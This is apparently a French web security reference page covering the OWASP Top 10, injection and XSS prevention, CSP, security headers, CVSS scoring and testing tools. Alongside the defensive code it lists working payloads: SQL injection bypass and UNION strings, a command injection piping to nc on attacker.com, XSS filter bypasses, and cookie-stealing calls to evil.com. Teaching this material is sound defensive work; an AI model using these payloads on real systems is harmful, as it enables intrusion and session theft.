Ressources & Cheat Sheets
Références rapides pour la sécurité web — OWASP, payloads, headers, scoring.
OWASP Top 10 — 2021
A01
Broken Access Control
IDOR, escalade de privilèges, exposition de ressources non autorisées
A02
Cryptographic Failures
MD5/SHA1 pour mots de passe, HTTP clair, clés hardcodées, pas de sel
A03
Injection
SQLi, NoSQLi, Command Injection, XSS, XXE, LDAP Injection
A04
Insecure Design
Absence de modèle de menace, logique métier non sécurisée, pas de defense in depth
A05
Security Misconfiguration
Headers absents, stack traces exposées, CORS permissif, .git accessible
A06
Vulnerable & Outdated Components
Dépendances non mises à jour, CVE connues non patchées
A07
Identification & Auth Failures
Brute force, credential stuffing, session fixation, mots de passe faibles
A08
Software & Data Integrity Failures
Dépendances sans vérification d'intégrité, CI/CD non sécurisé, supply chain
A09
Security Logging & Monitoring Failures
Absence de logs, alertes non configurées, intrusions non détectées
A10
Server-Side Request Forgery (SSRF)
Accès aux métadonnées cloud (169.254.169.254), services internes, rebind DNS
Patterns SQLi courants
-- Auth bypass classique admin'-- ' OR '1'='1 ' OR 1=1-- admin'/* -- UNION SELECT (nb colonnes inconnu) ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- ' UNION SELECT username,password,NULL FROM users-- -- Time-based blind (MySQL) ' AND SLEEP(5)-- -- Time-based blind (PostgreSQL) '; SELECT pg_sleep(5)-- -- Boolean-based blind ' AND 1=1-- (vrai) ' AND 1=2-- (faux) -- Information schema ' UNION SELECT table_name,NULL FROM information_schema.tables--
Prévention SQLi
// ✅ node-postgres — paramètres positionnels await db.query('SELECT * FROM users WHERE id = $1', [userId]); // ✅ Sequelize ORM User.findOne({ where: { email: req.body.email } }); // ✅ mysql2 — paramètre ? db.execute('SELECT * FROM users WHERE email = ?', [email]); // ❌ Concaténation directe db.query('SELECT * FROM users WHERE id = ' + req.params.id);
NoSQL Injection (MongoDB)
// ❌ Vulnérable — opérateur $gt contourne l'auth POST /login {"email": {"$gt": ""}, "password": {"$gt": ""}} // ✅ Prévention avec mongo-sanitize const sanitize = require('express-mongo-sanitize'); app.use(sanitize()); // Strip $ et . des entrées // ✅ Validation Zod (string stricte) const schema = z.object({ email: z.string().email(), password: z.string().min(1) }); const { email, password } = schema.parse(req.body);
Command Injection
// Caractères dangereux ; && || | $() ` \n // Exemples de payloads 8.8.8.8; cat /etc/passwd 8.8.8.8 && id 8.8.8.8 | nc attacker.com 4444 // ✅ Prévention Node.js — éviter exec(), utiliser spawn() + whitelist const { spawn } = require('child_process'); const ip = req.body.ip; if(!/^(\d{1,3}\.){3}\d{1,3}$/.test(ip)) return res.status(400).end(); spawn('ping', ['-c', '1', ip]); // Pas de shell, pas d'injection
Vecteurs XSS courants
Basiques
<script>alert(1)</script><img src=x onerror=alert(1)><svg onload=alert(1)><body onload=alert(1)><iframe src="javascript:alert(1)">
Bypass filtre
<SCRIPT>alert(1)</SCRIPT>— casse<scr<script>ipt>alert(1)— double<script>— entités HTML<img src=x oNerRoR=alert(1)>javascript:alert(1)— href / src
Vol de cookies
document.cookie→ exfiltrationfetch('//evil.com/?c='+btoa(document.cookie))new Image().src='//evil.com/'+document.cookie- Protection :
HttpOnlybloque JS - Protection :
Secure→ HTTPS seulement
Défenses
- Toujours
textContentvsinnerHTML - DOMPurify.sanitize() si HTML requis
- CSP
script-src 'nonce-...' - Encodage contextuel (HTML, JS, URL, CSS)
- X-XSS-Protection: 0 (désactive bogue IE)
CSP — niveaux de protection
// ❌ Pas de CSP — tout est autorisé Aucun header Content-Security-Policy // ⚠️ CSP basique — bloque inline et CDN inconnus Content-Security-Policy: script-src 'self' // ✅ CSP avec nonce — seuls les scripts signés s'exécutent Content-Security-Policy: script-src 'nonce-abc123' // HTML : <script nonce="abc123">...</script> // ✅ Strict CSP (recommandé) Content-Security-Policy: default-src 'none'; script-src 'nonce-{random}' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; font-src 'self' https://fonts.gstatic.com; connect-src 'self'; frame-ancestors 'none'
Headers de sécurité essentiels
HSTS
Strict-Transport-Securitymax-age=63072000(2 ans)includeSubDomainspreload— liste navigateurs- Force HTTPS même après redirection
Anti-clickjacking
X-Frame-Options: DENY- ou
SAMEORIGIN - CSP
frame-ancestors 'none' - Empêche iframes malveillantes
- Prévention UI Redressing
MIME Sniffing
X-Content-Type-Options: nosniff- Empêche interprétation erronée
- Bloque MIME confusion attacks
- Obligatoire si upload de fichiers
Referrer
Referrer-Policy: strict-origin-when-cross-origin- Protège les URLs sensibles
no-referrer= plus restrictif- Évite fuite de tokens dans l'URL
Permissions
Permissions-Policy: camera=(), microphone=()- Désactive APIs navigateur inutiles
geolocation=(self)- Réduit la surface d'attaque
CORS sécurisé
- Ne jamais
Access-Control-Allow-Origin: *avec credentials - Whitelist des origines autorisées
Access-Control-Allow-Credentials: true= origine explicite- Valider
Origincôté serveur
Configuration Helmet.js complète
const helmet = require('helmet'); app.use(helmet({ contentSecurityPolicy: { directives: { defaultSrc: ["'none'"], scriptSrc: ["'self'", (req,res)=>`'nonce-${res.locals.nonce}'`], styleSrc: ["'self'"], imgSrc: ["'self'", 'data:'], connectSrc: ["'self'"], frameAncestors: ["'none'"], } }, hsts: { maxAge: 63072000, includeSubDomains: true, preload: true }, frameguard: { action: 'deny' }, noSniff: true, referrerPolicy: { policy: 'strict-origin-when-cross-origin' }, permissionsPolicy: { features: { camera: ["'none'"], microphone: ["'none'"] } }, }));
CVSS v3.1 — Score de sévérité
| Score | Sévérité | Action recommandée | Exemples |
|---|---|---|---|
| 9.0 – 10.0 | Critique | Patch immédiat (< 24h) | Log4Shell, EternalBlue |
| 7.0 – 8.9 | Élevé | Patch rapide (< 7j) | SQLi non authentifié |
| 4.0 – 6.9 | Moyen | Planifier (< 30j) | XSS réfléchi, IDOR |
| 0.1 – 3.9 | Bas | Backlog | Verbose errors |
Métriques de base CVSS v3.1
Vecteur d'attaque (AV)
- N — Network : via réseau (pire)
- A — Adjacent : réseau local
- L — Local : accès machine
- P — Physical : accès physique
Complexité & Privilèges
- AC:L — Low : reproductible facilement
- AC:H — High : conditions précises
- PR:N — None : sans auth
- PR:L/H — Low/High : avec auth
Impact (CIA)
- C onfidentiality : fuite de données
- I ntegrity : modification de données
- A vailability : DoS, disruption
- Chaque : None / Low / High
Scope
- S:U — Unchanged : impact limité
- S:C — Changed : pivotage possible
- Exemple : SSRF → S:C si accès au cloud
- Augmente significativement le score
Exemple — Log4Shell (CVE-2021-44228)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Score : 10.0 CRITIQUE AV:N → exploitable via Internet AC:L → très simple à exploiter PR:N → aucune authentification requise UI:N → aucune interaction utilisateur S:C → scope changé — RCE possible C/I/A:H → confidentialité, intégrité, disponibilité totalement compromises
Outils d'analyse & test
OWASP ZAP
Scan actif / passif
Proxy interceptant + scanner automatique de vulnérabilités web. Gratuit, open-source.
Burp Suite
Proxy / Fuzzing
Standard industrie pour tests de pénétration web. Intruder, Repeater, Scanner (Community limitée).
sqlmap
SQLi automatisé
Détection et exploitation automatique d'injections SQL. Supporte 30+ bases de données.
nikto
Scanner web
Scan de serveurs web — fichiers dangereux, versions, configurations par défaut.
nmap
Scan réseau
Découverte réseau, ports ouverts, versions de services, scripts NSE de sécurité.
Metasploit
Exploitation
Framework d'exploitation avec modules pour CVE connues. Usage tests autorisés uniquement.
trufflehog / gitleaks
Secrets dans le code
Scan de dépôts git pour secrets hardcodés — clés API, passwords, tokens.
npm audit / snyk
Dépendances
Détecte les vulnérabilités dans les dépendances npm. Snyk propose la remédiation automatique.
Semgrep
SAST
Analyse statique du code source — règles de sécurité pour JS, Python, Go, Java.
SSL Labs
TLS / HTTPS
Analyse la configuration TLS d'un serveur — protocoles, ciphers, certificat, HSTS.
securityheaders.com
Headers HTTP
Analyse les headers de sécurité d'une URL — note A+ à F avec recommandations.
Have I Been Pwned
Credential check
Vérifie si un email ou mot de passe a été compromis dans une fuite. API k-anonymity.
Plateformes d'entraînement
Labs vulnérables
- DVWA (Damn Vulnerable Web App)
- WebGoat (OWASP)
- Juice Shop (OWASP)
- HackTheBox — machines web
- TryHackMe — parcours guidés
Références officielles
- owasp.org — guides, checklists
- cve.mitre.org — base CVE
- nvd.nist.gov — CVSS scores
- cheatsheetseries.owasp.org
- portswigger.net/web-security
Certifications
- eWPT (eLearnSecurity)
- CEH (EC-Council)
- OSCP (Offensive Security)
- CompTIA Security+
- GWAPT (GIAC)